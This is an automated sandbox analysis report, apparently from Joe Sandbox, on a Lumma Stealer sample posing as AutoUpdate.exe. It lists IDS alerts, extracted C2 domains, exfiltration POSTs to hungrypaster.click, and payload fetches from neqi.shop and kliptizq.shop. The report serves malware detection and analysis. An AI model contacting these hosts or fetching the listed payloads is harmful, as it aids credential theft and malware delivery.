Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov esi, edx	0_2_02AD781E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], E785F9BAh	0_2_02ADC857
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+48916051h]	0_2_02AAD992
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-6EF30294h]	0_2_02AAD908
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then jmp eax	0_2_02ACD91E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_02AD496E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+30h]	0_2_02AB8954
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	0_2_02AC9E34
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov edx, ecx	0_2_02AB7F88
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov esi, ecx	0_2_02AB7F88
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_02ACBF4A
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_02ACBF4A
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov edi, eax	0_2_02ACBF4A
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_02ACBF41
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_02ACBF41
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov edi, eax	0_2_02ACBF41
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then cmp al, 5Ch	0_2_02AA3CBE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov ecx, eax	0_2_02AAAC8E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov esi, edx	0_2_02ACBC39
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_02ACBC39
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-000000E6h]	0_2_02ADCC41
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx ebx, si	0_2_02AC5DCE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov ebx, ecx	0_2_02AB6D22
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	0_2_02ACAD3E

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 104.21.93.82:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 104.21.93.82:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 104.21.93.82:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.93.82:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49743 -> 104.21.93.82:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49734 -> 104.21.93.82:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: hungrypaster.click
Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: tentabatte.lat

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 104.21.93.82:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.93.82:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 104.21.93.82:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.93.82:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 104.21.93.82:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.93.82:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 104.21.93.82:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 172.67.169.205:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 172.67.191.144:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 104.21.93.82:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: hungrypaster.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 80Host: hungrypaster.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=E5RX6ECB6LYQM7B2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18152Host: hungrypaster.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9RKTEK6GYZFNUSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8761Host: hungrypaster.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=JQME7CVGMUZM03D7FWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20438Host: hungrypaster.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=FMHWLFB8IYCEEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1245Host: hungrypaster.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=5HWOP1K75VMQYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1093Host: hungrypaster.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 115Host: hungrypaster.click
Source: global traffic	HTTP traffic detected: GET /sdgjyut/psh.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: neqi.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_ldr_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: kliptizq.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /sdgjyut/psh.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: neqi.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_ldr_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: kliptizq.shop

Source: global traffic	DNS traffic detected: DNS query: hungrypaster.click
Source: global traffic	DNS traffic detected: DNS query: neqi.shop
Source: global traffic	DNS traffic detected: DNS query: kliptizq.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: hungrypaster.click

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 23 Dec 2024 23:30:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IOJNkLw1BJbIvq9Lhfa4c%2FI6%2BLUpKwkXEy2pLSEWa6Apx6dy9psyXqCFtmXbHfyI2c%2FXgcIw9fbtlF1AxD5TcuUn%2Fk6SxpDRvwPFPbWfJoV1qOgVXpdkdBY2MQEG26MX"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f6c23ff083143ee-EWR

Source: AutoUpdate.exe, 00000000.00000003.1879953269.00000000037BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: AutoUpdate.exe, 00000000.00000003.1879953269.00000000037BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: AutoUpdate.exe	String found in binary or memory: http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0Q
Source: AutoUpdate.exe	String found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0_
Source: powershell.exe, 00000004.00000002.2024037163.0000000002A2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: AutoUpdate.exe, 00000000.00000003.1879953269.00000000037BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: AutoUpdate.exe, 00000000.00000003.1879953269.00000000037BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: AutoUpdate.exe, 00000000.00000003.1879953269.00000000037BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: AutoUpdate.exe, 00000000.00000003.1879953269.00000000037BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: AutoUpdate.exe	String found in binary or memory: http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0
Source: AutoUpdate.exe	String found in binary or memory: http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0
Source: AutoUpdate.exe	String found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0
Source: AutoUpdate.exe	String found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
Source: AutoUpdate.exe, 00000000.00000003.1879953269.00000000037BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: powershell.exe, 00000004.00000002.2028358060.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000004.00000002.2036093676.0000000005987000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: AutoUpdate.exe, 00000000.00000003.1879953269.00000000037BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: AutoUpdate.exe, 00000000.00000003.1879953269.00000000037BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: AutoUpdate.exe	String found in binary or memory: http://ocsps.ssl.com0
Source: AutoUpdate.exe	String found in binary or memory: http://ocsps.ssl.com0?
Source: powershell.exe, 00000004.00000002.2028358060.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.2028358060.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000004.00000002.2028358060.0000000004921000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2032595492.00000000046F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.2028358060.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: AutoUpdate.exe	String found in binary or memory: http://sslcom.crl.certum.pl/ctnca.crl0s
Source: AutoUpdate.exe	String found in binary or memory: http://sslcom.ocsp-certum.com08
Source: AutoUpdate.exe	String found in binary or memory: http://sslcom.repository.certum.pl/ctnca.cer0:
Source: powershell.exe, 00000004.00000002.2028358060.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: AutoUpdate.exe	String found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0
Source: AutoUpdate.exe	String found in binary or memory: http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0
Source: AutoUpdate.exe	String found in binary or memory: http://www.wisecleaner.com/download.htmlU
Source: AutoUpdate.exe, 00000000.00000003.1879953269.00000000037BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: AutoUpdate.exe, 00000000.00000003.1879953269.00000000037BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: AutoUpdate.exe, 00000000.00000003.1834179239.00000000037AF000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1834765725.0000000003798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000004.00000002.2028358060.0000000004921000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6PO
Source: powershell.exe, 00000006.00000002.2032595492.00000000046F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000004.00000002.2028358060.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: AutoUpdate.exe, 00000000.00000003.1834179239.00000000037AF000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1834765725.0000000003798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: AutoUpdate.exe, 00000000.00000003.1834179239.00000000037AF000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1834765725.0000000003798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: AutoUpdate.exe, 00000000.00000003.1834179239.00000000037AF000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1834765725.0000000003798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000004.00000002.2036093676.0000000005987000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.2036093676.0000000005987000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.2036093676.0000000005987000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: AutoUpdate.exe, 00000000.00000003.1834179239.00000000037AF000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1834765725.0000000003798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: AutoUpdate.exe, 00000000.00000003.1834179239.00000000037AF000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1834765725.0000000003798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: AutoUpdate.exe, 00000000.00000003.1834179239.00000000037AF000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1834765725.0000000003798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000004.00000002.2028358060.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: AutoUpdate.exe, 00000000.00000002.2024866428.0000000000854000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.2002475922.00000000008DA000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000002.2027228376.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hungrypaster.click/
Source: AutoUpdate.exe, 00000000.00000003.2002583470.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hungrypaster.click/A
Source: AutoUpdate.exe, 00000000.00000003.1928830998.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1949963640.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1906472864.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hungrypaster.click/api
Source: AutoUpdate.exe, 00000000.00000003.1928830998.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hungrypaster.click/api57
Source: AutoUpdate.exe, 00000000.00000002.2024866428.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hungrypaster.click/apite
Source: AutoUpdate.exe, 00000000.00000003.1949963640.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hungrypaster.click/apiy7
Source: AutoUpdate.exe, 00000000.00000003.1906472864.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hungrypaster.click/c-a
Source: AutoUpdate.exe, 00000000.00000003.1928830998.00000000008DA000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1949963640.00000000008DA000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1906472864.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hungrypaster.click/k-i
Source: AutoUpdate.exe, 00000000.00000003.1906472864.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hungrypaster.click/s-
Source: AutoUpdate.exe, 00000000.00000003.1929024403.000000000089A000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1906472864.000000000089A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hungrypaster.click/z
Source: AutoUpdate.exe, 00000000.00000003.1879600235.0000000003791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hungrypaster.click:443/api
Source: AutoUpdate.exe, 00000000.00000002.2027228376.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/
Source: AutoUpdate.exe, 00000000.00000003.2023021125.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000002.2027550875.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000002.2027228376.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/int_clp_ldr_sha.txt
Source: AutoUpdate.exe, 00000000.00000003.2002583470.000000000089A000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000002.2024866428.0000000000842000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://neqi.shop/
Source: AutoUpdate.exe, 00000000.00000003.2002583470.000000000089A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://neqi.shop/?z
Source: AutoUpdate.exe, 00000000.00000003.2002583470.000000000089A000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000002.2024866428.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://neqi.shop/sdgjyut/psh.txt
Source: AutoUpdate.exe, 00000000.00000002.2024866428.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://neqi.shop/sdgjyut/psh.txt/
Source: AutoUpdate.exe, 00000000.00000003.2002583470.000000000089A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://neqi.shop/sdgjyut/psh.txtj
Source: AutoUpdate.exe, 00000000.00000003.2002583470.000000000089A000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000002.2024866428.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://neqi.shop/sdgjyut/psh.txtkd
Source: powershell.exe, 00000004.00000002.2036093676.0000000005987000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: AutoUpdate.exe, 00000000.00000003.1835326546.00000000037DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: AutoUpdate.exe, 00000000.00000003.1881055532.000000000389F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AutoUpdate.exe, 00000000.00000003.1881055532.000000000389F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: AutoUpdate.exe, 00000000.00000003.1835326546.00000000037DC000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1835544898.00000000037D5000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1857898577.00000000037D5000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1857792181.00000000037D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: AutoUpdate.exe, 00000000.00000003.1835544898.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: AutoUpdate.exe, 00000000.00000003.1835326546.00000000037DC000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1835544898.00000000037D5000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1857898577.00000000037D5000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1857792181.00000000037D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: AutoUpdate.exe, 00000000.00000003.1835544898.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: AutoUpdate.exe	String found in binary or memory: https://www.certum.pl/CPS0
Source: powershell.exe, 00000006.00000002.2032595492.0000000004A51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2029370951.000000000071B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: powershell.exe, 00000006.00000002.2032595492.0000000004A97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landinghZ
Source: powershell.exe, 00000006.00000002.2031915067.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2029370951.00000000007AD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2031653904.0000000002AB0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2029370951.000000000071B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landingid=brand_linktarget=_blank
Source: powershell.exe, 00000006.00000002.2029370951.000000000074D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landingmance~5
Source: powershell.exe, 00000006.00000002.2032595492.0000000004A97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phish
Source: powershell.exe, 00000006.00000002.2032595492.0000000004A97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishhZ
Source: powershell.exe, 00000006.00000002.2032595492.0000000004A97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-atX)
Source: powershell.exe, 00000006.00000002.2032595492.0000000004A51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2029370951.000000000071B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: powershell.exe, 00000006.00000002.2031915067.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2029370951.00000000007AD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2031653904.0000000002AB0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2029370951.000000000071B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/class=cf-btnstyle=background-c
Source: powershell.exe, 00000006.00000002.2029370951.000000000074D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/v5
Source: AutoUpdate.exe, 00000000.00000003.1834179239.00000000037AF000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1834765725.0000000003798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: AutoUpdate.exe, 00000000.00000003.1834179239.00000000037AF000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1834765725.0000000003798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: AutoUpdate.exe, 00000000.00000003.1881055532.000000000389F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: AutoUpdate.exe, 00000000.00000003.1881055532.000000000389F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
